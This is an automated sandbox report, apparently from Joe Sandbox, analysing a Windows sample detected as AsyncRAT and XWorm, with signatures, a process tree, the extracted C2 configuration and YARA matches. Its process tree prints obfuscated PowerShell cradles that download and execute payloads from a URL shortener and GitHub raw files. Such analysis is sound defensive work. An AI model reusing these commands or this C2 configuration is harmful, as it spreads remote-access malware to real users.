Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll (renamed file extension from exe to dll)
Original sample name:	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.exe
Analysis ID:	1511703
MD5:	cc8bb4cccd42c5100ecbdca63ae4dc87
SHA1:	f215bb3c865776fc7cc5791c9d90d4fc15c8974b
SHA256:	31def087dfc8285bb7eca20cbb39df6181998dd0ad141de949aaf123d6c27fd3
Tags:	exe
Infos:

Detection

AsyncRAT, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Binary or sample is protected by dotNetProtector

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Contains functionality to log keystrokes (.Net Source)

Obfuscated command line found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Generic Downloader

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Connects to a URL shortener service

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 2824 cmdline: loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 2704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4764 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 5148 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 2668 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2132 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 6180 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 4336 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDFCA.tmp" "c:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 5840 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 3676 cmdline: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 5852 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8176 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 6428 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAD9.tmp" "c:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 380 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 3184 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll,DllRegisterServer MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 4524 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5980 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 2636 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7260 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC30.tmp" "c:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7236 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1600 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3620 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 8112 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8128 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD20F.tmp" "c:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 4400 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": "https://pastebin.com/raw/zNCj2Utm", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0xb462:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xa892:$s2: https://pastebin.com/raw/ 0xb415:$s3: My.Computer 0xb3fc:$s4: MyTemplate
00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9fa6:$s8: Win32_ComputerSystem 0xa5f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xa695:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa7aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xad1c:$cnc4: POST / HTTP/1.1
00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19d7be:$s8: Win32_ComputerSystem 0x19de10:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19dead:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19dfc2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x19e534:$cnc4: POST / HTTP/1.1
0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19de96:$s8: Win32_ComputerSystem 0x19e4e8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19e585:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19e69a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x19ec0c:$cnc4: POST / HTTP/1.1
0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19db9e:$s8: Win32_ComputerSystem 0x19e1f0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19e28d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19e3a2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x19e914:$cnc4: POST / HTTP/1.1
0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 5616	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 2132	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 5980	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
17.2.powershell.exe.289cd920000.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
17.2.powershell.exe.289cd920000.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17.2.powershell.exe.289cd920000.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.289cd920000.0.raw.unpack	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0xb462:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xa892:$s2: https://pastebin.com/raw/ 0xb415:$s3: My.Computer 0xb3fc:$s4: MyTemplate
17.2.powershell.exe.289cd920000.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9fa6:$s8: Win32_ComputerSystem 0xa5f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xa695:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa7aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xad1c:$cnc4: POST / HTTP/1.1
27.2.powershell.exe.26300f54bf8.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
27.2.powershell.exe.26300f54bf8.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
27.2.powershell.exe.26300f54bf8.0.unpack	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0x9662:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0x8a92:$s2: https://pastebin.com/raw/ 0x9615:$s3: My.Computer 0x95fc:$s4: MyTemplate
27.2.powershell.exe.26300f54bf8.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x81a6:$s8: Win32_ComputerSystem 0x87f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8895:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x89aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8f1c:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.289ce8c4818.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
17.2.powershell.exe.289ce8c4818.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17.2.powershell.exe.289ce8c4818.2.unpack	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0x9662:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0x8a92:$s2: https://pastebin.com/raw/ 0x9615:$s3: My.Computer 0x95fc:$s4: MyTemplate
17.2.powershell.exe.289ce8c4818.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x81a6:$s8: Win32_ComputerSystem 0x87f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8895:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x89aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8f1c:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.1e080f54ef0.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
15.2.powershell.exe.1e080f54ef0.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
15.2.powershell.exe.1e080f54ef0.0.unpack	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0x9662:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0x8a92:$s2: https://pastebin.com/raw/ 0x9615:$s3: My.Computer 0x95fc:$s4: MyTemplate
15.2.powershell.exe.1e080f54ef0.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x81a6:$s8: Win32_ComputerSystem 0x87f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8895:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x89aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8f1c:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.289cd920000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
17.2.powershell.exe.289cd920000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17.2.powershell.exe.289cd920000.0.unpack	Unknown_Malware_Sample_Jul17_2	Detects unknown malware sample with pastebin RAW URL	Florian Roth	0x9662:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0x8a92:$s2: https://pastebin.com/raw/ 0x9615:$s3: My.Computer 0x95fc:$s4: MyTemplate
17.2.powershell.exe.289cd920000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x81a6:$s8: Win32_ComputerSystem 0x87f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8895:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x89aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8f1c:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.289ce8c4818.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
17.2.powershell.exe.289ce8c4818.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17.2.powershell.exe.289ce8c4818.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.289ce8c4818.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9fa6:$s8: Win32_ComputerSystem 0xa5f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xa695:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa7aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xad1c:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.1e080f54ef0.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
15.2.powershell.exe.1e080f54ef0.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
15.2.powershell.exe.1e080f54ef0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.1e080f54ef0.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9fa6:$s8: Win32_ComputerSystem 0xa5f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xa695:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa7aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xad1c:$cnc4: POST / HTTP/1.1
27.2.powershell.exe.26300f54bf8.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
27.2.powershell.exe.26300f54bf8.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
27.2.powershell.exe.26300f54bf8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
27.2.powershell.exe.26300f54bf8.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9fa6:$s8: Win32_ComputerSystem 0xa5f8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xa695:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa7aa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xad1c:$cnc4: POST / HTTP/1.1
27.2.powershell.exe.26300dcdd88.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
27.2.powershell.exe.26300dcdd88.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
27.2.powershell.exe.26300dcdd88.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
27.2.powershell.exe.26300dcdd88.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x190e16:$s8: Win32_ComputerSystem 0x191468:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x191505:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19161a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x191b8c:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.1e080dcd9a8.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
15.2.powershell.exe.1e080dcd9a8.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
